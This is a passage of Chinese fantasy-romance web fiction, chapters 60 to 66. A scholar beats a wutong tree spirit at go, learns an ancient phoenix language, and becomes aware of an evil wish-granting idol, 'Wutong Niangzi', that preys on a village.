等胡翘翘端着茶壶与两个茶杯来到前院时,棋局已经进入中段,童正陷入冥思苦想之中,一个劲儿的捋着好不容易长出的几缕白胡子。 胡翘翘倒了一杯茶,端给陈子均,软声道,“相公,喝茶。” 陈子均接过茶杯,不紧不慢地汲了一口。 这茶叶是村民自己炒制的,口味儿相当一般,不过他对吃喝穿用这些都不算挑剔,有得喝就行。 胡翘翘又给童正倒了一杯,“童爷爷,你也喝。” 童正头也没抬地“嗯。”了一声,手指指桌子,意思是让她先放着。 胡翘翘放下茶杯,好奇地扫了一眼棋盘,上面的黑白子纵横密布,她看得头晕,只知道相公走的是白子,小声问,“相公,这局棋谁会赢呀?” “傻娘子,你看他头发都快薅光了,从卤蛋快变成白煮蛋了。”陈子均笑道,“还不知道谁会赢么?” 这话说出来,童正的脸就绿了,胡翘翘忍不住捂着嘴偷笑。 童正嘴硬道:“秀才休要逞口舌之利,这棋才下到一半,谁胜谁负还说不好呢!” “那你下快一点,一步棋就要想许久,一盘岂不是要下到天亮?”陈子均执着白子,慢条斯理地轻敲棋盘,“以后一步棋超过十息思考时间,便算你输了。” “……” 童正瞪了棋盘一眼,犹犹豫豫地拈起一粒黑子,啪地落在棋盘上。 这一步,是他思考了半天,方才想到的最佳选择,依他看,秀才必定想不出破解之法! 他念头还未落下。 啪! 陈子均的棋子已经落在一个他从未料想到的位置。 童正:“???” 这一步,竟然和整个棋局都形成了绵绵呼应。霎时间,绵密而残酷的包围圈形成,将他在棋盘边缘处的一条大龙重重包围起来,童正目不转睛地盯着棋盘,苦苦思索良久,却发现大龙无论是左冲,还是右突,似乎都无法寻找到一条可行之路,有种上天无路、入地无门之感! 完了,他之前怎么没想到这一步? 该如何应对? 确切点说,究竟还有没有应对之法?! 老梧桐再次陷入一番痛苦的长考,又薅掉了不少头发胡须,真的快要变成水煮蛋,直到陈子均敲了敲棋盘,提醒道:“十息到了。”他才扔下手里的黑子,喟叹一声,“唉,这局我认输了。” 一条大龙被围,他又想不出破解之法,败局已定,再下下去也没有意义。 与此同时,童正的心中也是暗暗吃惊,这些日子里,他和陈子均也下了不少局棋了。下棋一事最见品性,这秀才看似温润如玉,和气近人,但实际棋风绵密,步步心机,一有机会出现就毫不犹豫地把握住,从而一击致命。 啧啧…… 真是人不可貌相…… “相公赢啦!”胡翘翘立即笑靥如花,轻拍着小手。 陈子均放下手中喝了一半的茶杯,悠悠道:“我说过,茶喝完之前,便能赢了。” “相公真厉害!” “再来一局。”童正开口道。 “不下了,”陈子均却摇摇头,“相差太远,没什么意思,还不如陪我娘子去读书。”说罢,还握着胡翘翘绵软的小手捏了捏。 胡翘翘用力点头。 童正仅有的几缕胡子都气得飘起,“再下一盘,就一盘!这次我一定会赢!” “童爷爷,你每次都这么说。”胡翘翘笑盈盈地说,“但一次也没赢过我相公,我都听腻啦。” 不远处的小青也忍不住笑了起来。 在两个女孩儿清脆的笑声中,童正的老脸一阵红一阵白,看着陈子均,“秀才,再下一盘,条件你开。” 他化形之后没什么太多爱好,多年前偶然见到人下棋,便迷上了这黑白之道。 但以他的身份,哪有合适的人可以对弈,是以多年过去,棋艺始终一般,如今好不容易找到陈子均陪着下,即便下十盘输十盘,他也颇为开心。 陈子均却依然摇头,端起茶杯,将最后一口茶水饮下,“算了,也不早了,还是陪我娘子更重要。” 童正:“……” 他一咬牙,忍痛从怀里摸出个银光闪闪的果子,放在桌上,气鼓鼓地看着陈子均,“再下一盘,秀才你要能再赢我,这颗雷果便归你。”他就不信,自己连一盘都赢不了。 本以为这条件足够换得陈子均松口,不料陈子均连看也没看那颗雷果一眼,只是淡淡道:“这东西我有,不要了。” 第61章 【求追读】上古凤语 童正老脸一板,“秀才,你要怎样才能陪我再下一盘?” “我陪你下棋已经下腻了,下一百盘,也是我赢,这种毫无悬念的棋,对我只是浪费时间,毫无乐趣。”陈子均伸了个懒腰,语气也有些慵懒,“要么,你拿出点能让我感兴趣的东西做交换,我再考虑考虑。” 童正捋着稀稀拉拉的胡须,半晌不做声。 陈子均手推石桌,正要站起身来,童正似下了某种决心地说道:“好,我拿上古凤语,交换你以后每天陪我下三局棋。” 陈子均眉毛一挑,目光中隐现讶异,“上古凤语?” 嘿,没想到自己居然也有能让秀才露出意外之色的一刻,童正颇感畅快,点了点头,“没错,便是上古时凤凰一族的语言。” 胡翘翘以手捂嘴,轻轻抽了口冷气。 上古时期! 凤凰一族! 哇,光这两个词,就听起来好厉害! 陈子均的目光在他身上转了一圈,淡淡问道,“你会凤语?” 童正呵呵笑了,没有回答,却反问了句,“秀才难道不知我们梧桐一族与凤凰一族的渊源?” “略知一二,”陈子均微微一笑,“凤凰非梧桐不栖,应是和这句话有关吧。” “秀才果然好见识。”童正点头。 一直在旁边听着的胡翘翘,终于忍不住好奇,小声问道,“相公,这句“凤凰非梧桐不妻”是什么意思?是说,凤凰一定要娶梧桐做妻子,别的女妖精都不可以吗?” 陈子均被她逗乐了,屈起手指,对着她白皙的额头不轻不重地弹了一下,“傻娘子,是木字加西字的那个栖,不是妻子的妻,意思是凤凰只会在梧桐树上栖息。现在知道了吗?” “翘翘知道了,”胡翘翘捂着额头,眨巴着大眼,“可为什么凤凰只会在梧桐树上栖息呢?” “若要将我们梧桐一族和凤凰一族的关系解释清楚,就得先说到我们的天赋能力了。”童正微微一笑,“我们梧桐一族的天赋能力,叫做“替死”。” “替死?”胡翘翘又眨眨眼。 “没错,”童正正色道,“我们梧桐一族在成精后,能以损耗部分本源精华为代价,为一根树枝施加“替死”之术,当遇到逃避不过的危机时,可以通过献祭那根树枝,代替自己来承受那危机之力。” 当初在遭遇雷劫时,他就施展了这“替死”之术,让那根树枝替他挡下了一道劫雷。 但每制作一根这样的树枝,都会伤到他的本源,本源的恢复极慢,若是受损太严重,又会加大度过雷劫的难度,所以他权衡再三,只制作了一根。 “这么神奇!”胡翘翘一对儿大眼瞪得溜圆,又好奇地问,“可这与凤凰一族又有什么关系呢?” “凤凰一族的每一只幼鸟,在长至千年时,都必须经过一次浴火重生的考验,只有成功的幼鸟,方能真正成为神兽凤凰,获得永生。这便是俗称的‘凤凰涅槃‘……但,只靠凤凰幼鸟自身的能力,涅槃的成功率,往往不到百分之一。” 童正抚着须,侃侃而道。 “所以,凤凰幼鸟在即将涅槃之前,会找到一株已成精的梧桐,定下契约,梧桐树为它提供能施展“替死”之术的树枝,增加它涅槃成功的几率。而当它涅槃成功后,便以那株梧桐为巢,再以神力反哺梧桐,久而久之,便有了“凤凰非梧桐不栖”这句话。” 胡翘翘忽然像是明白了什么,“所以,你们梧桐一族也就学会了凤凰一族的语言?” 陈子均夸赞道:“娘子真聪明。” 听到相公夸奖她,胡翘翘顿时扭捏又得意,“嘻嘻……翘翘随便猜的。” 童正也点头,“没错,秀才娘子确实举一反三,正是因此,千万年下来,上古凤语亦成为了我们血脉能力中的一部分,只要能够化形,便会自动懂得。” 陈子均点点头:“我知道了。” 童正眯起老眼,笑道,“怎么样,秀才,这个交易划算吧,你做不做?” 他满以为陈子均会答应,结果陈子均摇头道,“我这辈子都未必能见到一只凤凰,学了这上古凤语,似乎也没什么用武之地啊。” 童正顿时气得胡子再次根根飘了起来。 “秀才你太不识货了,凤凰乃是百鸟之王,学会上古凤语,便能自动通晓所有禽类语言,怎会没有用处?!” 自动通晓所有禽类语言? 陈子均终于生出点兴趣,这一点他还真不知道,不过脸上却不显,只是淡淡地道,“如此的话,听起来还勉强算有点意思。” “秀才你……”童正摇头,他也是年老成精,怎会看不出秀才已经有些动心,只是在玩儿欲擒故纵的把戏,当即以退为进地道,“这交易对你可是大大划算,我是大大吃亏,你若不想做的话就算了,我回去了。” 陈子均轻咳一声,“每天陪你下三局,太多了吧,一局,如何?” “你这坏心眼的秀才……至少两局!”童正笑骂道,“你再过两个月就要离开,以后我要找你下棋也找不到了。” 陈子均一笑:“好吧。” “等等,我还有个条件!”童正却又道。 陈子均看着他。 “这一局,就下方才那个残局,”童正说,“不过,你我得交换棋子,你来下黑。” 方才他是黑方,形式已经极度不妙,大龙被围,四面楚歌。 他自忖下到终局的话,至少会输十个子,就不信秀才还有回天之力! 虽说这种要求有少许无耻,但两人的棋力差距摆在这里,不这样做的话,他没有任何赢的可能。 陈子均瞬间明白了他的用意,微微摇头,“老童啊,你也一把年龄了,为何如此执着于几盘棋的胜负?要知道,‘胜则启怨,负则自鄙。去胜负心,无诤自安’,这胜负心太重,反不是好事。” “少给我文绉绉的掉书袋,怎么,秀才没信心在方才的残局下赢我?”童正才不上当,立即反问。 第62章 【求追读】怎么能这样下? 陈子均看着老梧桐树,“激我呢?” “对。”童正点头,又嘿嘿一笑,“如果你输了,便得一天陪我下三局!” 胡翘翘立马道,“相公不会输的!” 陈子均瞥了她一眼,“娘子对我这么有信心吗?” “是呀。” “那我要是输了呢?” “没关系呀,相公一样在我心里是最棒的。”胡翘翘弯起眼,认真而甜蜜地说。 陈子均笑了,拈起一枚黑子,慢悠悠地道,“好吧,我试试看。” 捻着那黑子,他终于收起来了方才的漫不经心,真正开始凝神思考。 两人这一残局,下得与方才又有大大不同。 毕竟,陈子均现在要对付的是“方才的自己”,几乎等于他在和自己下棋,而黑棋如今的局面劣势太大,已经是江山颓败,覆巢只在旦夕之间,想要力挽狂澜、绝地反击,即便是他,也不得不用出十二分的脑力,每一步都要下得如履薄冰般谨慎小心。 童正一边下,一边琢磨陈子均的走法,越琢磨越心惊,这才知道从前陈子均与自己对弈,实在是保留了不知道多少实力。 但即便如此,黑棋的劣势实在太大,陈子均下了十余步,绞尽脑汁,全力腾挪,却依然不能让那条大龙重获生机。 童正不免心泛得意,看样子,这一局连秀才也是无力回天,他总算能赢上一局……不,半局了! 他再次放下一粒白子,笑呵呵道,“秀才,若是不行,便认输吧,这盘算是你自己和自己下的,输了也不丢人!” 他话音刚落,却看到陈子均沉吟半晌,忽然下了一步让他吃惊不已的棋—— 他直接放弃大龙,转向中原腹地。 这条大龙失去看顾,眼见就要全军覆没,可是这么一来,少了这条大龙的牵制束缚,黑棋可回旋的空间便突然大增,反而腾挪自如,局面顿呈豁然开朗之势。 这个新局面,童正做梦也没想到过,他一怔之下,喃喃道:“这条大龙,你不管了么?” 陈子均淡淡道,“该弃,便弃。” “棋怎么能这样下?”童正动容不已。 “为何不能这样下?与其纠结一地的得失,不如放眼全局!”陈子均敲了敲棋盘,“到你了。” 童正一时间满脑茫然,只能随便应了一步。 陈子均又下一步。 他也再应一步。 两人一来一往,转眼十余步过去。 黑棋失去大龙的掣肘,顿时转守为攻,步步狠辣,妙着源源,瞬间占了大片地盘。 白棋则是江河日下,被杀得片甲不留。 又过了几步,棋盘已没有可落子的空隙。 童正叹了口气,放下手中的棋子,“唉,秀才的棋力果然非一般人也,这样的局面也能扭转过来,我心服口服了。” 本来按照规则,这时候应该数一下双方剩余的棋子来决定输赢,但以他和陈子均的能力,神念一扫,就能看出,黑棋最终以微弱的优势获胜。 也即是说,陈子均在一开始就落后一条大龙的情况下,依旧能胜过他! 他闭上眼,在脑子里反复回放每一步棋。 这盘棋,足够他回味、揣摩许久! 陈子均连咳了几声,才将他唤回神来。 “怎么?” “下完就赶紧回去啊,都快亥时了,你不用睡觉,我和娘子还得睡呢!” 陈子均板着脸说,竟是毫不客气地直接赶人了。 “行行行,我明晚再来!” 童正站起身,再一挥手,棋盘和棋子便消失不见。 “等等,老童啊,你是不是忘了什么?”陈子均眸子一眯。 童正怔了怔,哈哈一笑,“是了!” 他不知从哪儿拿出了一片梧桐叶,形如巴掌,表面有一层微光流动,倘若仔细看时,便会见到,在那一层微光之中,似乎还若隐若现着无数玄妙深奥的古怪文字,隐隐又有奇异的凤鸣之声回荡。 “我已经将上古凤语的内容封印在这片叶子之中,只要将它捏碎,便能立刻学会上古凤语。” 童正留下梧桐叶,飘然而去。 陈子均将那片梧桐叶放在手中,沉吟了下,看向胡翘翘,“娘子,这上古凤语,给你学吧?” 胡翘翘立马摇起了小脑袋,“相公,还是你学吧。” “为什么?”陈子均有些意外,“你没听到方才老童说了,学会这上古凤语后,就能听懂所有禽类的话?” “就是因此,我才不想学呀,”胡翘翘撅了下红唇,软软地说,“我怕我学会之后,每次杀鸡、吃鸡时听到它们求饶,就会不忍心下手了。” 与其那样,还不如听不懂呢! 陈子均笑了,“原来如此。” “所以呢,还是相公学吧。”胡翘翘甜甜一笑,“反正相公学会了和我学会也是一样的。” 陈子均不再迟疑,手稍一用力,那片梧桐叶便破碎开来,与此同时,那无数玄奥的文字、奇特的声音,也瞬间涌入了他的脑中。 无比自然,无比流畅。 仿若他天生就掌握了一般。 “怎么样,相公学会了吗?”胡翘翘殷切地看着他。 陈子均点点头,恰好这时一只鸟儿从头顶飞过,陈子均看着它,张开嘴,口中发出一个奇异之声,清越悠长,宛如凤鸣。 那鸟儿立即收敛双翅,落在了院边的一棵树上,温顺地垂首,叫了几声。 陈子均轻哼一声,又发出一阵凤鸣之声。 那只鸟顿时浑身筛糠似的发起抖来,脑袋垂得更低,几乎整只鸟都伏在了树枝上,啾啾叫了几声。 陈子均挥了挥手,它才似乎放松下来,抬起脑袋,振翅飞走。 胡翘翘按捺不住好奇,“相公,你和它都说了什么?” 陈子均道,“我问它,我娘子漂不漂亮?” 胡翘翘连忙问,“那它怎么回答的呀?” “它说,你光秃秃的,全身上下连根羽毛都没有,实在不怎么好看!” “……” 陈子均一只手环住她柔软的腰肢,将她拉进怀中,不紧不慢地继续道,“我听了很不高兴,说你一只小鸟懂什么,反正她在我的心中,美得无人可比!它连忙道歉,我才让它走了。” 胡翘翘撅起的小嘴这才平了下来,踮起脚尖,亲了他一大口,“相公在我的心里,同样也是没人比得上的!” 陈子均注视着她,也笑了,一伸手,将她打横抱起,柔声道,“来,我抱娘子回房。” 月光如水般地洒落,此刻的夜色,变得温柔无比。 第63章 【求追读】五通娘子,有求必应 四月过半,春光渐渐进入尾声。 如往常一般,早上,陈子均去了私塾,胡翘翘打算做个香椿炒鸡蛋,就叫上小青一块去摘香椿。 这时候的香椿已经不如三月的鲜嫩,两个女孩儿左挑右拣,方才摘了小半篮子。 几个白崖村的妇人走来了,都笑眯眯地同她们打招呼。 “秀才娘子,早呀。” “秀才娘子还是这么漂亮。” “同你的表妹一起采香椿呢?” 胡翘翘乖巧地点头:“是呀,婶子们做什么去?” 其中一名妇人,正是之前想要小青做她儿媳妇的王大婶,她指了指臂弯中的竹篮,里面装着些香烛和点心之类的东西,笑呵呵地道,“我们去庙里烧香拜菩萨,秀才娘子要一起去吗?” 胡翘翘眨眨眼,她也听人提过,离白崖村三四里远的地方有座小庙,只是她还没去过。 这时,小青扯了下胡翘翘的袖子,低声道:“翘翘姐,可不能随便答应呀,佛门的家伙有的也不太好说话,万一碰到个讨厌妖怪的就麻烦了……” 胡翘翘立即乖觉一笑,“婶子们去吧,我身体不好,走不了那么远的路。” 见她这么说,王大婶她们也不强求,与胡翘翘道别后就继续往前走去。 这一路上,自然少不了各种妇人之间的家长里短、油盐酱醋。 “不知道今儿去烧香的人多不多。” “唉,昨晚我家那个打了好久呼噜,害我半宿没睡好。” “我的腿酸得慌,这两天八成要下雨……” 又走了一段路,有个妇人突然压低声音,神秘地抛出了一条大消息,“对了,告诉你们,昨天,临河村有人在自家地里挖出了一罐银子!” 其余妇人顿时齐抽了口气! “一罐银子?!” “真的假的?!” “当然是真的,我娘家就是临河村的,昨天我回娘家,正好听说了这事儿。”之前说话的那妇人一脸羡慕,“啧啧,一罐银子呢,至少一百多两!” “谁家这么好的运气啊?” “男人做泥工的那户,知道吗?” “我知道!”王婶子连忙接口,“我们家的猪圈去年塌了,便是找他家男人修好的,二十来岁,长得挺周正,但小时候生过病,所以一条腿有点不方便,对吧?” “对对对!” 几名妇人又讨论了片刻这话题,方才换了其它的。 走了一段路后,王婶子突然皱眉,“哎哟,早上出门时我忘了出恭,现在有点内急。”见前方正好有片小树林,她对另几名妇人道,“我去林子里解决一下,你们先走吧,好了我就赶上来。” 树林深处。 确信没人能看到,王婶子便将竹篮放在不远处的草地上,双手合十念了几声“阿弥陀佛菩萨莫怪。”,才走到隐蔽处,开始解决自家问题。 片刻后,她站起身,整理好衣服,正要往外走,忽然听到从不远处传来了脚步声。 王婶子顿时有些嘀咕。 这荒林野地的,怎么会有人来? 还是说,有人和她一样内急,临时来这儿解决? 王婶子略一犹豫,走到了树后,小心翼翼地朝脚步声的来源处望去。 下一刻,她便看到了一个正慢慢走过来的少妇,二十来岁,打扮和长相都十分普通,手中拎着一只公鸡。 王婶子却更惊讶了几分。 她认得这少妇,对方就是那个挖到银子的临河村泥工的媳妇! 只是,对方脸色苍白,甚至目光中还有几分不安惶恐,半点也看不出刚发了一笔横财的喜悦之色。 还有,她一个人跑到这里做什么,为何手中还拎着一只公鸡? 许是因为心事重重,少妇并未发现王婶子,只是沿着一条极为隐蔽的小路,继续往林子深处走去。 王婶子按捺不住八卦之心,跟了上去。 七弯八绕了许久,就在王婶子刚想要放弃转身的时候,那少妇却停了下来。 她从怀里掏出个什么东西,放在地上,然后跪下,对那东西磕了几个头。 磕完头之后,少妇又掏出一柄小刀,一下扎进公鸡喉咙。 公鸡扑腾几下,不动了。 “五通娘娘,我给您送公鸡来了,”少妇跪在地上,白着脸,颤声道,“求求您放过我丈夫,那些银子,我们也不要了……” 因为隔得有些远,王婶子没听清少妇在说什么,只有“那些银子”四个字清晰地钻进了耳朵里,忍不住又往前走了几步,结果一个不慎,便踩到了根枯枝,脚底下发出“咔嚓”一声。 这“咔嚓”一声原本也不如何响亮,但放在这寂静的荒山野岭里,便显得无比清晰。 可能是心虚,反正少妇立即脸色剧变,站了起来。 “谁?!” 一丛灌木之后,王婶子蹲下身子,屏住呼吸,不敢再有半点异动。 少妇看了一会儿四周,没发现什么,又扭头看了眼地上的东西,急促地喘了几口气,并未拿走它,而是沿着来路,匆匆离开。 等了会儿,王婶子方钻出来。 她走上前,很快看清了之前少妇放在地上的东西。 那是一个木头雕像,雕的是一个美貌女子,尽管雕工略显粗糙,却栩栩如生,眉眼间甚至隐有一丝媚态流转。 在雕像的底座上,前面刻着四个字。 “五通娘子?” 王婶子将木雕翻到背后,发现后面又有四个字。 “有求必应。” 她愣了一下,突然灵光乍现,将方才少妇的表现与这个雕像联系了起来。 “难不成,他们家会挖到那一罐银子,和这五通娘娘的雕像有关系?” 想到这里,王婶子顿时心跳砰砰加快,犹豫了一下,便将雕像塞进了怀中。 她没心思再烧香拜佛,直接回到白崖村的家中。 家中没人,她丈夫是个木匠,今天和大儿子一起去替镇上某户人家送做好的家具,小儿子则还在私塾读书。 王婶子快步进房,先关上房门,确认没人之后,才将雕像自怀中拿出来,小心地摆在柜子上,又点燃了一炷香。 盯着雕像,舔了舔因为紧张而有些发干的唇,她喃喃道,“五通娘子,你可真的是有求必应么?” 她本只是随口一问,并未指望过雕像会回答,毕竟只是块木头罢了。 但在那氤氲的烟雾之中,王婶子竟突然见到,雕像如有了生命一般,目光闪动,朝她妩媚一笑。 与此同时,雕像的口中缓缓传出了一个娇媚动听的女子声音。 “说吧,你想求些什么?” 第64章 【求追读】五通娘子 雕像、雕像会说话! 王婶子瞠目结舌,感觉不可思议到了极点。 渐渐地,狂喜涌上。 这个什么五通娘子,定然是神仙一流! 她走运了,竟然碰到了神仙! 王婶子连忙跪下,颤声道:“信女不贪,能让我们家也得一百两……不,八十两银子么?” 雕像问:“还有么?” “还有……还有……”王婶子想了会儿,一咬牙,道,“还有信女的大儿子,一直未曾娶妻,五通娘娘能否为他寻个好媳妇儿?” 雕像道:“你这两个愿望,我都能满足。” 王婶子大喜,连连磕头。 “但作为交换,我要拿走你家中的一只公鸡,你可愿意?” 公鸡? 王婶子想到了方才那少妇拎在手里的公鸡,忽地恍然。 她欢天喜地地点头,“别说一只公鸡,十只也包在信女身上。” 雕像似笑非笑地“嗯。”了一声,道,“等着吧,今日天黑之后,你的愿望便可实现了。” 说完这句,它不再做声。 天黑之后? 王婶子将信将疑,坐立不安地等待着。 酉时一刻,她的小儿子从村中私塾回来。 平时王婶子总会问他一句今日先生都教了些什么,但今天小儿子奇怪地发现,自家老娘魂不守舍,连晚饭都烧焦了,害得他吃了满满一大碗的锅巴。 酉时过半(下午六点),太阳逐渐没入地平线,天色已经变得寂暗。 王婶子越发焦躁难当。 五通娘娘不是说了,天黑之后,她的两个愿望便能实现吗? 怎么到了此刻,还毫无动静? 刚如此想着,她忽然听到了前院里传来的脚步声。 王婶子这才想起,应该是自家丈夫和大儿子从镇上回来了。 她将雕像的事暂时放在一边,赶忙推开门,走了出去。 打头的两道身影,果然是她的丈夫和大儿子。 王婶子面露喜色,刚要说话,忽然一愣。 儿子的背上,竟背着一个十六七岁年轻姑娘,那姑娘的模样白净美貌,但十分陌生,显然并不是白崖村里的人。 可不知为何,那姑娘的眉眼又给她一种莫名的似曾相识感…… 王婶子不禁脱口而出,“阿庆,你背上的这姑娘是谁?” 她长子阿庆轻咳了一声,有些扭捏地道,“娘,她是我和爹方才在路上遇到的孙姑娘,她不小心扭了脚,所以我才背着她。孙姑娘,她就是我娘了。” 那姑娘看着王婶子,俏脸微红,羞答答道,“大娘好。” “哦,孙姑娘好。”王婶子应了一声,边疑惑着为何自己丈夫和儿子要将这个陌生女子带回家,边将三人迎了进去,又让小儿子去倒水给几人喝。 进了堂屋后,阿庆就小心翼翼地将那孙姑娘自背上放下,又扶着她坐下,才对王婶子道,“娘,事情是这样的……” 原来父子俩回来的路上,遇到这位孙姑娘独自坐在路边,哀哀哭泣。 两人心生疑惑,上前询问情况。 孙姑娘告诉他们她叫孙小兰,她父母收了一个五六十岁的富商的银子,要将她卖给对方做小妾,她心中不愿,便偷了一笔钱,从家中逃走,不料因为逃得太匆忙,扭伤了脚,她又怕被家里人追上,所以央求阿庆背她离开。 因为当时天色已晚,孙小兰又无处可去,无依无靠,父子俩心生同情,便将她带回了家,打算让她暂住几天。 “原来是这样……”王婶子嘀咕了句,但心中依旧觉得有些不妥,“可是她一个大姑娘,又同我们非亲非故的,住在我们家中,有人说闲话怎么办?” 这时,孙小兰红着脸,开了口,“大娘,我在路上听说了您儿子他还没娶妻,又觉得他是个朴实善良的好人……若你们不嫌弃,我愿意嫁给他,一来,报答你们一家的相助之恩,二来,借此绝了我爹娘再将我卖人做妾的念头。” 王婶子愣了愣,还没反应过来,孙小兰已经从背上取下了一个小布包,缓缓打开。 露出一片几乎能闪花人眼的银色光泽。 “这里有一百两银子,是我从家中带出来的……”孙小兰咬着嘴唇,羞羞答答地小声道,“若是我能嫁给阿庆,这些银子,便自然应该孝敬给公公婆婆……” “一百两!” 王婶子怔住了,她突地想起了之前向那五通娘娘许的两个愿望。 难道说,这个孙小兰,还有那一百两银子,都是五通娘娘的安排? 如此一想,她心中的不满,便渐渐消散…… …… 另一处小院中。 陈子均和童正正在对弈。 这一次,童正依旧被杀得丢盔弃甲,溃不成军。 正冥思苦想中,老头儿忽地眸光一凛,抬头望向某个方向,随后,一对雪白的眉毛紧皱而起,喃喃道,“秀才,你感觉到了么?” 不知何时,这村子里竟多出了一股极淡,但是极其古怪的气息! 似妖,又非妖,隐隐露出一股邪淫至极的感觉! 陈子均拈起棋子,轻敲棋盘,淡淡道,“感觉到什么,我只感觉到,你又要输了。” 童正:“……” “下快点。”陈子均催促,“你这步又想了半天了,别打算拖时间耍赖。” 童正随手下了一步,转动视线,见胡翘翘不在,方神色严肃地沉声道,“我都有感觉,你一定也能感觉到……秀才知不知道是什么东西,如此不对劲?” 陈子均应了一着,看也没看他一眼地淡声道,“叫什么……五通娘子的,不过来的应该只是个她的化身,并非本体。” 童正顿时骇得手中的棋子跌落在地,“竟、竟是五通娘子!?” 五通娘子,一个这几百年间极为出名的邪妖,据说其神通广大,而又淫荡无比。若有人向她的雕像许愿,其家中又有健壮的青年男子被她看中,她就会实现对方的愿望。 但作为交换,她便会化身为美貌女子来到那人家中,对她看中的男子肆意采补。 听起来,似乎也并不恐怖,但五通娘子可是妖怪,妖气强大无比,寻常的凡人男子经她采补数次之后,便会精尽人亡。 陈子均的唇角微微勾起:“你怕了?” “哼,你也说了,来的只是她的一个化身而已,我怎么可能会怕……”童正瞪眼,蓦地见到端着茶壶与茶杯走出来的胡翘翘,立马将后面的话咽了回去,弯下腰,“我掉的棋子呢……” 第65章 【求追读】死不足惜 “相公,童爷爷,喝茶。” 胡翘翘略弯腰,一双小手替两人端上茶,黄褐色的茶叶在杯中舒展,散发着不算太浓郁的茶香味儿。 陈子均伸手接过,温声道,“辛苦娘子了。” 童正也说,“多谢秀才娘子。” 胡翘翘眼波如水,软然说,“翘翘最喜欢帮相公做事了,一点也不辛苦的。” 她挨着陈子均坐下,一手支着下颌,一会儿看看棋盘,一会儿看看陈子均。 虽然她不懂将这些小小的黑白棋子在这不过数尺见方的棋盘上摆来弄去有什么兴味,但既然相公喜欢,那自然就是极好的,只怪她太笨,体会不到其中乐趣而已。 不过,看不懂棋没有关系,她还可以看相公呀。 从她这个角度看过去,只能看到相公的侧脸,额头光洁,鼻梁挺直,微抿的唇…… 下棋时的相公格外专注,目光看着棋盘,手指拈着一枚白色棋子,在棋盘边缘轻轻敲击,似乎在思考下一步该如何走,显得分外迷人。 她常听人以“如画中人”来形容一个人,但她觉得,即便是这世界上最高明的画师,也没法画出她心里的相公! 陈子均落下手中棋子,扭头看了胡翘翘一眼,见她正一霎不霎地盯着自己,“光看我干什么,怎么不看棋?” 胡翘翘眨眨眼,“可翘翘不懂棋呀。” “不懂没关系,我来教你。” 胡翘翘自然不可能说“不好。”,连忙点头。 “来,相公先教你,你看,这棋盘是纵十九道,横十九道……” 陈子均每下一步,都给胡翘翘细细讲解一番。 胡翘翘素手托腮,杏眸专注,听了片刻,什么“提气”、“紧气”、“长”、“顶”、“小尖”“打劫”……从全然不懂,到灌满了一脑袋术语,变成了似懂非懂,一直很配合地“嗯嗯”点头。 童正也没不耐烦,反而比胡翘翘听得更加聚精会神。 他虽好棋,但数百年里无人对弈,也没正儿八经地钻研过棋谱棋理,此刻听陈子均娓娓讲来,原本之前与陈子均对弈的棋局中,有不少他结束后反复推敲、依旧不知其所以然的疑难之处,被他一语点破,顿时有拨开迷雾见青天,豁然开朗之感。 原来那一步应该如此考虑…… 原来那一步又是如此用意…… 原来那一步,竟然是步步相连、环环相扣,牵一发而动全身…… 童正听得心荡神摇,如痴如醉,一时间,连五通娘子的事都暂时忘在脑后,一边听,一边就着当前这一盘棋,每一步都结合方才听到的种种心得,认真思考后,感觉没有任何纰漏疏忽,方才落子。 片刻后,棋到中盘。 陈子均不过是略占上风而已。 童正略带得色地手抚白须,看来自己今天的棋力是突飞猛进了! 这时,轮到陈子均了,他拈起一枚白棋,却未立即落下,只是对胡翘翘招招手,“娘子,你近些儿。” 胡翘翘眨了下眼,很配合地将小脸贴近。 陈子均低下头,贴在她的耳边,轻声说了几句什么话。 胡翘翘听完,下意识地瞅了一眼老梧桐。 老梧桐被她这一眼弄得莫名其妙,心道难道自己在秀才娘子眼中又成了什么蛋? 陈子均轻咳一声,“娘子注意看,相公说得对不对。” 说罢,轻轻落下一步。 童正收敛心神,盯着棋盘,开始认真思考。 唔,这一步,应该走“平”位三九路…… 童正刚要落棋,突然又眉头一皱,及时将还未落下的棋子提起。 等等,若他走这里,而陈子均下一步走在“平”位二八路的话,他的这几颗黑子就危矣。 发现这点之后,童正的心中顿时暗道好险,若非他今天棋力大进,必然会落进陈子均的陷阱。 他又仔细考虑、斟酌一番,最终,感觉十拿九稳了,方才将棋子下在了“去”位五六路。 陈子均捏着胡翘翘的小手,正色道,“如何,相公说得没错吧。” 胡翘翘“噗嗤”一声,笑得如百花齐放。 童正一愣,“秀才娘子,这一步有什么好笑的?” 胡翘翘先看了眼陈子均,乖巧地问,“相公,能说吗?” 陈子均笑:“可以。” “童爷爷,相公方才说,你之前的棋力若是一米高,便会想到下在“平”位三九路上。但你现在棋力有了小小长进,勉强算是有了两米那么高,就会下在“去”位五六路,即便这样,依然会落入相公的陷阱中。” 胡翘翘说完,陈子均便笑吟吟地拿起一枚白棋,放在了“去”位七八路上。 顿时,咬掉了一大块黑棋。 “……”童正这才知道自己又上了当,乜斜着陈子均,没好气地问,“我的棋力是两米高,秀才你呢,有几米高啊?” 胡翘翘立马抢答,还得意洋洋地举起小手比划,“我相公自然是比天还高啦。” 童正顿时气结,胡子翘起来,“我又没问你!” 陈子均忍着笑,轻拍了下胡翘翘的后背,“好了,你先自己回房修炼,我下完这盘棋就来陪你。” 小狐妖乖乖应了,起身回房,留下两人继续对弈。 童正扫了眼棋盘,见败势已定,心不在焉地下了一步,再次开口,“秀才,五通娘子这事情,你说我们该怎么办?” 陈子均落子,“凉拌。” “……” 童正愕然,抬头看着他,“你的意思是,我们不去管它?” 陈子均问,“为什么要管?” “难不成,就任凭五通娘子在咱们村中胡作妄为?”童正愈发不可思议,瞪大双眼,“秀才,你知不知道,五通娘子她是会要人命的!” “敢和五通娘子这种邪神做交易,只能怪他们太贪得无厌,又太愚蠢无知,竟相信有天上掉馅饼这种荒谬的可能,为了自己的无知和贪婪,付出代价,不是理所应该吗?” 顿了顿,陈子均平静地道,“何况,在这个世界上,每时每刻都会有人死,早点死晚点死,似乎也没什么区别。” 第66章 【求追读】上中下三策 童正怔住,半晌后,他指间的一枚黑棋,忽然粉碎。 “秀才说得对,每时每刻都会有人死,人总是要死的,早死晚死也没什么区别……这些道理,我亦是明白。”他抬头看着陈子均,缓慢地问,“不过,道理归道理,倘若出事的是秀才你的亲人,朋友……你还能如此洒脱么?” 白崖村中的每一个人,都是他看着长大。 每一个人,几乎都如同他的孩子。 闻言,陈子均也静默了。 过了片刻,他端起茶杯。 杯中的残茶早已凉掉,但他并不在意,轻抿一口,让那淡淡的苦涩气味儿充盈口腔。 